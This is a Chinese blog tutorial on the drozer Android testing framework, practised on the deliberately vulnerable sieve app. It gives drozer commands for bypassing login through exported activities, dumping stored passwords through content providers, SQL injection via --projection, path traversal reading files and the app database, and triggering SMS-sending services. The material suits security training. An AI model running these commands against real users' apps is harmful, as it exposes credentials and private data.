安卓渗透测试工具---drozer使用

分手后的思念是犯贱 2023-10-06 15:26 28阅读 0赞

#### 目录 ####

*  drozer下载
 *  drozer安装
 *  sieve(drozer测试程序)
 *  drozer使用
 *   *  建立手机端和PC端的连接
     *  确定攻击面
     *  测试activities exported (容易绕过登陆验证)
     *  测试 content provider(易造成数据库泄露，sql注入等问题)
     *  利用暴露的content provider进行sql注入
     *  从File System-backed Content Providers获取信息
     *  测试services exported （权限提升）
     *  测试broadcast receivers exported（拒绝服务）

## drozer下载 ##

下载链接:[drozer][]

## drozer安装 ##

下载软件并解压，进入解压目录点击setup.exe，按照提示安装完成，默认安装在C盘下；  
传送agent.apk到手机上并安装。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center]

## sieve(drozer测试程序) ##

下载链接:[sieve][]  
介绍：sieve是一款小型密码管理软件，包含了常见的安卓应用漏洞，可以作为drozer练习的测试对象。  
使用：当sieve首次启动时，它要求用户设置一个16个字符的“主密码”和一个用于保护用户稍后输入的密码的4位pin。用户可以使用sieve存储各种服务的密码，如果需要正确的凭证，可以在稍后的数据中检索这些密码。

## drozer使用 ##

### 建立手机端和PC端的连接 ###

1、手机端打开drozer agent，并打开Embedded Server。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 1]2、PC端通过ADB设置转发端口。  
![在这里插入图片描述][20201120110640784.png_pic_center]  
3、PC端dos下进入drozer安装目录，执行命令，与手机端drozer agent成功建立连接。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 2]  
注意事项  
如果报错“could not find java…”  
建立名为 .drozer\_config的文件，文件中添加如下内容：  
\[executables\]  
java=D:\\Java\\jdk1.7.0\_65\\bin\\java.exe  
javac=D:\\Java\\jdk1.7.0\_65\\bin\\javac.exe  
即java和javac的路径，保存后存放到C:\\Users\\XXX\\ 目录下，其中XXX为当前用户名目录下，之后重新连接成功

### 确定攻击面 ###

dz> run app.package.list //列出安装的所有应用包名  
dz> run app.package.list -f sieve //搜索特定的包名  
![在这里插入图片描述][20201121093306570.png_pic_center]  
dz> run app.package.info -a com.mwr.example.sieve //查看应用的信息  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 3]

dz> run app.package.attacksurface com.mwr.example.sieve //识别攻击面  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 4]

### 测试activities exported (容易绕过登陆验证) ###

dz> run app.activity.info -a com.mwr.example.sieve //显示暴露的Activity信息  
![在这里插入图片描述][20201121093829648.png_pic_center]

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //该命令会生成一个合适的intent来启动activity  
![在这里插入图片描述][20201121094156338.png_pic_center]  
手机端查看sieve软件，不需要登录验证，就可以进入系统。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 5]

### 测试 content provider(易造成数据库泄露，sql注入等问题) ###

dz> run app.provider.info -a com.mwr.example.sieve //列举Content Provider的信息  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 6]

dz> run app.provider.finduri com.mwr.example.sieve //枚举uri  
![在这里插入图片描述][20201121095346725.png_pic_center]

dz> run scanner.provider.finduris -a com.mwr.example.sieve //使用扫描器枚举uri  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 7]

dz> run scanner.provider.injection -a com.mwr.example.sieve //检测可利用uri，检查sql注入  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 8]

现在可以使用其他drozer模块从这些内容URI中检索信息，甚至可以修改数据库中的数据

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ //获取数据库数据（即为之前保存的密码，邮箱信息）  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 9]

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical //竖直显示数据库数据  
![在这里插入图片描述][20201121101714133.png_pic_center]

### 利用暴露的content provider进行sql注入 ###

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “’” //数据库返回错误信息，和sql查询语句，再进行构造，从而查询自己想要获取的数据库信息  
![在这里插入图片描述][20201121102726358.png_pic_center]

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection “’”  
![在这里插入图片描述][20201121102854274.png_pic_center]

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "\* FROM SQLITE\_MASTER WHERE type=‘table’;-- " //使用Sql注入列出数据库中的所有数据表  
![在这里插入图片描述][2020112110301163.png_pic_center]

![在这里插入图片描述][20201121103059241.png_pic_center]

### 从File System-backed Content Providers获取信息 ###

dz> run scanner.provider.traversal -a com.mwr.example.sieve //检测 目录遍历  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 10]

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //遍历目录  
![在这里插入图片描述][20201121105042854.png_pic_center]

dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/database/database.db /home/user/database.db 下载指定文件到指定目录(windows下不建议指定目录，会有问题，直接下到drozer的主目录下)  
![在这里插入图片描述][20201121105100769.png_pic_center]

### 测试services exported （权限提升） ###

run app.service.info -a com.android.nsf //获取 service 详情

run app.service.send com.adnroid.nsf com.igexin.sdk.PushServiceUser --msg 1 2 3 //访

run app.service.start --action com.test.vulnerability.SEND\_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND\_SMS

### 测试broadcast receivers exported（拒绝服务） ###

run app.broadcast.info -a com.android.nsf //获取broadcast receivers信息

[drozer]: https://download.csdn.net/download/guo15890025019/13129150
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center]: https://img-blog.csdnimg.cn/20201120103631134.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70#pic_center
[sieve]: https://download.csdn.net/download/guo15890025019/13129925
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 1]: https://img-blog.csdnimg.cn/20201120110526272.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70#pic_center
[20201120110640784.png_pic_center]: https://img-blog.csdnimg.cn/20201120110640784.png#pic_center
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 2]: https://img-blog.csdnimg.cn/20201120110832635.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70#pic_center
[20201121093306570.png_pic_center]: https://img-blog.csdnimg.cn/20201121093306570.png#pic_center
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 3]: https://img-blog.csdnimg.cn/20201121093355251.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70#pic_center
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 4]: https://img-blog.csdnimg.cn/20201121093426343.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70#pic_center
[20201121093829648.png_pic_center]: https://img-blog.csdnimg.cn/20201121093829648.png#pic_center
[20201121094156338.png_pic_center]: https://img-blog.csdnimg.cn/20201121094156338.png#pic_center
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 5]: https://img-blog.csdnimg.cn/20201121094305945.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70#pic_center
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 6]: https://img-blog.csdnimg.cn/20201121094401870.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70#pic_center
[20201121095346725.png_pic_center]: https://img-blog.csdnimg.cn/20201121095346725.png#pic_center
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 7]: https://img-blog.csdnimg.cn/20201121095412822.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70#pic_center
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 8]: https://img-blog.csdnimg.cn/20201121101600560.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70#pic_center
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 9]: https://img-blog.csdnimg.cn/20201121101637352.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70#pic_center
[20201121101714133.png_pic_center]: https://img-blog.csdnimg.cn/20201121101714133.png#pic_center
[20201121102726358.png_pic_center]: https://img-blog.csdnimg.cn/20201121102726358.png#pic_center
[20201121102854274.png_pic_center]: https://img-blog.csdnimg.cn/20201121102854274.png#pic_center
[2020112110301163.png_pic_center]: https://img-blog.csdnimg.cn/2020112110301163.png#pic_center
[20201121103059241.png_pic_center]: https://img-blog.csdnimg.cn/20201121103059241.png#pic_center
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70_pic_center 10]: https://img-blog.csdnimg.cn/20201121104514933.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70#pic_center
[20201121105042854.png_pic_center]: https://img-blog.csdnimg.cn/20201121105042854.png#pic_center
[20201121105100769.png_pic_center]: https://img-blog.csdnimg.cn/20201121105100769.png#pic_center